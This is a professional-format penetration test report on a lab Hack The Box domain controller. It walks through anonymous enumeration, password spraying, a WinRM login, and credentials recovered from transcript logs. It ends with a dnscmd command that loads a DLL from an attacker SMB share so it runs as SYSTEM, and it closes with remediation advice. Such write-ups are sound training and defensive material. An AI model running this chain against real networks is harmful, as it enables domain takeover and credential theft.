PENETRATION TEST REPORT

RESOLUTE

Active Directory Domain Controller · Security Assessment

Target host	10.129.96.155 (RESOLUTE.megabank.local)
Operating system	Windows Server 2016 Standard (Build 14393)
Role	Active Directory Domain Controller (megabank.local)
Engagement type	Internal Network Penetration Test (black-box)
Assessor	Álvaro Irún Brea · Domain Security
Report date	10 September 2026
Reference	DS-PT-2026-001
Classification	CONFIDENTIAL

Confidentiality Notice

This document contains confidential information about the security posture of the assessed environment. It is intended solely for the recipient organisation and authorised personnel. The findings describe vulnerabilities that could be leveraged to compromise the environment; distribution should therefore be restricted. This report is a laboratory exercise conducted against the retired Hack The Box machine "Resolute", written up as a professional penetration test report to demonstrate methodology, reporting standards, and remediation guidance.

Table of Contents

1. Executive Summary 3

2. Scope & Methodology 4

3. Attack Narrative 5

4. Detailed Findings 7

5. Recommendations 11

Appendix A · Ratings & Disclaimer 12

1. Executive Summary

An internal network penetration test was performed against a Windows Server 2016 Active Directory Domain Controller (megabank.local). The engagement simulated an unauthenticated attacker who has gained a foothold on the internal network · for example through a rogue device, a compromised workstation, or a malicious insider · and set out to determine what such an attacker could achieve against the domain.

The assessment resulted in full compromise of the domain. Starting with no credentials whatsoever, the assessor obtained a foothold, moved laterally to a more privileged account, and ultimately achieved code execution as NT AUTHORITY\SYSTEM on the Domain Controller · the highest level of privilege in the environment. This is equivalent to complete control over every user, computer, and piece of data in the domain.

Critically, no software exploit or 0-day was required. The compromise was achieved entirely by chaining together configuration weaknesses and poor credential-handling practices that are extremely common in real Active Directory environments: anonymous directory enumeration, a password stored in cleartext in a user's directory attributes, reuse of a weak onboarding password, a plaintext credential left in a log file, and an over-privileged group membership.

Overall risk rating: CRITICAL

Because an attacker with no starting credentials was able to reach full domain administrative control, the overall risk to the environment is rated CRITICAL. The individual weaknesses are each straightforward to remediate, and doing so would break the attack chain at multiple points.

Findings at a glance

ID	Finding	Severity	CVSS
F-01	Cleartext password stored in Active Directory account attribute	**High**	7.5
F-02	Domain compromise via DnsAdmins group (arbitrary DLL as SYSTEM)	**Critical**	9.1
F-03	Cleartext credentials exposed in PowerShell transcript logs	**High**	6.5
F-04	Anonymous (null-session) enumeration of domain users and policy	**Medium**	5.3
F-05	Weak password policy: no account-lockout threshold and weak reused passwords	**Medium**	5.3

2. Scope & Methodology

2.1 Scope

The engagement was limited to a single in-scope host, assessed from the perspective of an attacker positioned on the internal network with no prior credentials or knowledge of the environment (black-box).

- **In scope:** 10.129.96.155 (RESOLUTE.megabank.local)
- **Excluded:** denial-of-service testing, social engineering, and physical attacks were out of scope.
- **Rules of engagement:** testing was authorised against this host only; all activity was non-destructive.

2.2 Methodology

The assessment followed a standard penetration-testing lifecycle aligned with the PTES (Penetration Testing Execution Standard) and the enumeration-first mindset appropriate to Active Directory environments:

- **Reconnaissance & enumeration** · full TCP port scan, service/version fingerprinting, and identification of the host's role in the domain.
- **Unauthenticated enumeration** · testing for anonymous / null-session access to SMB, RPC and LDAP before any credentialed activity.
- **Initial access** · leveraging leaked credentials to establish an authenticated foothold.
- **Lateral movement** · post-foothold host enumeration to recover additional credentials.
- **Privilege escalation** · abusing group membership to achieve SYSTEM-level code execution on the Domain Controller.
- **Reporting** · documentation of each finding with evidence, impact, CVSS scoring and remediation.

2.3 Tooling

The following industry-standard tools were used: Nmap (port scanning and service detection), enum4linux-ng (SMB/RPC enumeration), NetExec (authentication testing and password spraying), evil-winrm (WinRM remote shell), dnscmd and sc (native Windows DNS/service management), impacket-smbserver (attacker-controlled SMB share), and MinGW (x86_64-w64-mingw32-gcc) to compile a custom DLL.

3. Attack Narrative

This section walks through the full attack chain in the order it was executed, showing how five independent weaknesses combined to escalate from zero access to full domain compromise. Each numbered weakness is documented in detail in Section 4.

3.1 Reconnaissance

A full TCP port scan identified the host as an Active Directory Domain Controller for the domain megabank.local: Kerberos (88), LDAP (389/3268), SMB (445), DNS (53) and WinRM (5985) were all exposed.

```
nmap -sC -sV -p- -oN nmap-resolute.txt 10.129.96.155

88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: megabank.local)
445/tcp  open  microsoft-ds  Windows Server 2016 Standard 14393
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
```

3.2 Unauthenticated enumeration (F-04)

Before attempting any credentialed access, the assessor tested for anonymous access. The RPC service accepted a null session, which was sufficient to enumerate all 27 domain user accounts and the domain password policy.

One account · marko · had a password stored in cleartext in its description attribute (see F-01), and the policy revealed that no account-lockout threshold was configured (see F-05).

```
enum4linux-ng -A 10.129.96.155

[+] Server allows authentication via username '' and password ''
username: marko   description: Account created. Password set to Welcome123!
Lockout threshold: None
```

3.3 Initial access · password spraying (F-01, F-03)

The leaked password did not work for marko directly, indicating it had likely been reused across several newly-created accounts. Because no lockout policy was in place, the assessor safely sprayed the single password across the full user list, obtaining a valid credential for the user melanie.

melanie is a member of the Remote Management Users group, granting an interactive PowerShell session over WinRM. The user flag was retrieved, confirming the foothold.

```
netexec smb 10.129.96.155 -u users.txt -p 'Welcome123!' --continue-on-success
  [+] megabank.local\melanie:Welcome123!

evil-winrm -i 10.129.96.155 -u melanie -p 'Welcome123!'
```

3.4 Lateral movement (F-03)

Enumerating the filesystem as melanie revealed a non-standard, hidden directory at C:\PSTranscripts containing PowerShell transcription logs. One transcript captured the user ryan running a net use command with his password typed on the command line, exposing the credential in cleartext.

The recovered credential (ryan : Serv3r4Admin4cc123!) was valid and also granted WinRM access.

```
dir C:\ -Force        # reveals hidden C:\PSTranscripts
type C:\PSTranscripts\20191203\PowerShell_transcript.*.txt
  ...net use X: \\fs01\backups ryan Serv3r4Admin4cc123!...
```

3.5 Privilege escalation to SYSTEM (F-02)

The account ryan is a member of the DnsAdmins group. Members of this group can instruct the Windows DNS service · which runs as SYSTEM on the Domain Controller · to load an arbitrary DLL as a server-level plugin. When the service is restarted, the DLL executes with SYSTEM privileges.

A custom DLL was compiled in C (avoiding antivirus detection of generic shellcode), hosted on an attacker-controlled SMB share, and registered via dnscmd. On restarting the DNS service, the DLL executed as SYSTEM and exfiltrated the root flag to the attacker's share, confirming full compromise of the Domain Controller.

```
dnscmd.exe /config /serverlevelplugindll \\10.10.14.55\share\evil.dll
sc.exe stop dns  &&  sc.exe start dns
  -> DLL executes as NT AUTHORITY\SYSTEM on the DC
```

4. Detailed Findings

F-01 · Cleartext password stored in Active Directory account attribute

Severity	**High (CVSS 7.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected asset	Domain account 'marko' (readable by any / anonymous user)

Description

The description attribute of the domain account marko contained a password in cleartext: "Account created. Password set to Welcome123!". Active Directory attributes such as description are readable by all authenticated users · and on this host, by anonymous users via a null session (see F-04). Storing a credential here effectively publishes it to the entire domain.

Although the password did not authenticate the marko account itself, it had been reused for other accounts and directly enabled the initial foothold (see F-03).

Evidence

```
username: marko  name: Marko Novak
description: Account created. Password set to Welcome123!
```

Impact

Any user · including an unauthenticated attacker on the network · can read the credential and use it to authenticate to the domain, providing a foothold from which the rest of the attack chain proceeds.

Remediation

- Immediately change the exposed password and any accounts where it was reused.
- Never store passwords or other secrets in AD attributes (description, info, comment, etc.); these fields are broadly readable.
- Audit all directory objects for secrets stored in free-text attributes (e.g. with tooling that greps description/info fields across the domain).
- Provision temporary onboarding credentials through a secure channel and force a change at first logon (see F-03).

References

- MITRE ATT&CK T1552.001 · Unsecured Credentials: Credentials In Files/Attributes

---

F-02 · Domain compromise via DnsAdmins group (arbitrary DLL as SYSTEM)

Severity	**Critical (CVSS 9.1)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected asset	Domain account 'ryan' (member of DnsAdmins); DNS service on the DC

Description

The account ryan is a member of the built-in DnsAdmins group. The Microsoft DNS service runs as SYSTEM on the Domain Controller and exposes a ServerLevelPluginDll setting that causes it to load an arbitrary DLL on start-up. Any DnsAdmins member can set this value (via dnscmd or the registry) and, given the ability to restart the DNS service, achieve arbitrary code execution as SYSTEM on the DC. This is a well-documented Active Directory privilege-escalation path.

The assessor compiled a benign custom DLL, hosted it on an SMB share, registered it, and restarted the DNS service; the DLL executed as SYSTEM. Because SYSTEM on a Domain Controller is equivalent to Domain Admin, this represents full compromise of the domain.

Evidence

```
whoami /groups  ->  MEGABANK\DnsAdmins
dnscmd.exe /config /serverlevelplugindll \\10.10.14.55\share\evil.dll
sc.exe stop dns ; sc.exe start dns   # DLL runs as SYSTEM on the DC
```

Impact

Complete and irreversible compromise of the entire Active Directory domain: an attacker gains full control over all accounts (including Domain Admins), all domain-joined computers, and all data, and can establish persistence that is extremely difficult to eradicate.

Remediation

- Treat DnsAdmins as a highly privileged (tier-0) group. Audit its membership and remove any account that does not have a strict operational need.
- Do not grant DNS administration to standard user accounts; use dedicated, closely-monitored administrative accounts where DNS management is genuinely required.
- Monitor for changes to the ServerLevelPluginDll registry value and for DNS service restarts, which are strong indicators of this attack.
- Where feasible, separate the DNS role from Domain Controllers so that DNS-service compromise does not equal DC compromise.

References

- MITRE ATT&CK T1543 / T1574 · Service / DLL abuse
- Microsoft: DnsAdmins is documented as effectively equivalent to Domain Admin on a DC

F-03 · Cleartext credentials exposed in PowerShell transcript logs

Severity	**High (CVSS 6.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected asset	C:\PSTranscripts (world-readable transcript directory); account 'ryan'

Description

PowerShell transcription was enabled and configured to write logs to C:\PSTranscripts, but the directory was not access-restricted. A transcript captured the user ryan executing a net use command with the password

supplied inline on the command line, recording the credential in cleartext. Any user able to read the transcript directory could recover ryan's password.

PowerShell transcription is a valuable defensive control · but when the log destination is not protected, it becomes a centralised store of any secrets that pass through a console.

Evidence

```
dir C:\ -Force   # C:\PSTranscripts is hidden but present
PowerShell_transcript...: net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
```

Impact

An attacker with any low-privileged foothold can recover a more privileged credential, enabling lateral movement · in this case the account that ultimately led to domain compromise (see F-02).

Remediation

- Restrict the transcript output directory with strict ACLs so that only administrators (and the SYSTEM account writing the logs) can read it; ideally ship transcripts to a secured, central log store rather than leaving them on the host.
- Educate administrators never to pass credentials as command-line arguments (they are captured by transcription, command history, and process auditing). Use secure credential objects instead.
- Rotate the exposed credential immediately.

References

- MITRE ATT&CK T1552.001 · Unsecured Credentials In Files

F-04 · Anonymous (null-session) enumeration of domain users and policy

Severity	**Medium (CVSS 5.3)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected asset	SMB / RPC / LDAP services on the Domain Controller

Description

The Domain Controller permitted an anonymous null session over RPC, allowing an unauthenticated attacker to enumerate the complete list of domain user accounts (27 users), group memberships, and the domain password policy. This information significantly lowers the barrier to further attacks such as password spraying (it provides both the target list and the safe spray parameters).

Evidence

```
enum4linux-ng -A 10.129.96.155
[+] Server allows authentication via username '' and password ''
[+] After merging user results we have 27 user(s) total
```

Impact

Disclosure of the full user list and password policy to any unauthenticated attacker on the network, enabling targeted spraying and reconnaissance. This directly enabled discovery of the F-01 credential.

Remediation

- Restrict anonymous access to Active Directory. Ensure the "Network access: Allow anonymous SID/Name translation" and related null-session policies are disabled via Group Policy.
- Remove any legacy "Pre-Windows 2000 Compatible Access" group membership that grants anonymous read where it is not required.
- Monitor for anonymous LDAP/SAMR enumeration.

References

- MITRE ATT&CK T1087 · Account Discovery

F-05 · Weak password policy: no account-lockout threshold and weak reused passwords

Severity	**Medium (CVSS 5.3)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected asset	Domain password policy (megabank.local)

Description

The domain password policy did not define an account-lockout threshold, meaning an unlimited number of failed authentication attempts is permitted without locking accounts. Combined with weak, reused onboarding passwords (see F-01/F-03), this makes password spraying and brute-forcing low-risk and highly effective for an attacker.

Evidence

```
Domain lockout information:
  Lockout threshold: None
  Minimum password length: 7
  Password complexity (DOMAIN_PASSWORD_COMPLEX): false
```

Impact

Attackers can spray or brute-force credentials at scale without triggering lockouts, greatly increasing the likelihood of compromising at least one account.

Remediation

- Configure an account-lockout threshold (e.g. 5–10 failed attempts) with an appropriate observation window and duration.
- Enforce password complexity and a stronger minimum length (12+ characters recommended), and screen against known-breached password lists.
- Ensure onboarding passwords are unique per user and require change at first logon.

References

- MITRE ATT&CK T1110.003 · Password Spraying

---

5. Recommendations

The following prioritised actions would break the demonstrated attack chain. Because each link in the chain is independent, remediating even a subset materially reduces risk; addressing all of them removes the demonstrated path to domain compromise entirely.

Immediate (break the attack chain now)

- Rotate the exposed credentials for marko, melanie and ryan, and any account reusing Welcome123!.
- Remove ryan (and any other non-essential member) from the DnsAdmins group.
- Remove the cleartext password from marko's description attribute and audit all AD attributes for secrets.
- Lock down or relocate the C:\PSTranscripts directory with strict ACLs.

Strategic (harden the environment)

- Disable anonymous/null-session access to SMB, RPC and LDAP on all Domain Controllers.
- Implement a robust password policy: lockout threshold, complexity, 12+ character minimum, and breached-password screening.
- Establish a tier-0 administration model and treat groups such as DnsAdmins as tier-0; audit privileged group membership regularly.
- Deploy monitoring/alerting for the specific attacker behaviours observed: anonymous enumeration, password spraying, ServerLevelPluginDll changes, and unexpected DNS service restarts.
- Train administrators never to pass secrets on the command line and to provision onboarding credentials securely.

Appendix A · Ratings & Disclaimer

A.1 Severity ratings

Findings are scored using CVSS v3.1. Severity bands are interpreted as follows:

Severity	CVSS	Interpretation
Critical	9.0 – 10.0	Trivial path to full compromise; remediate immediately.
High	7.0 – 8.9	Significant risk; remediate as a priority.
Medium	4.0 – 6.9	Meaningful risk, typically as part of a chain; schedule remediation.
Low	0.1 – 3.9	Limited impact; remediate as resources allow.

A.2 Disclaimer

This report reflects the security posture of the target at the time of testing and is not a guarantee that no other vulnerabilities exist. It documents a laboratory exercise against the retired Hack The Box machine "Resolute", produced as a professional-format penetration test report for portfolio and educational purposes. All testing was authorised within the Hack The Box platform's terms of service.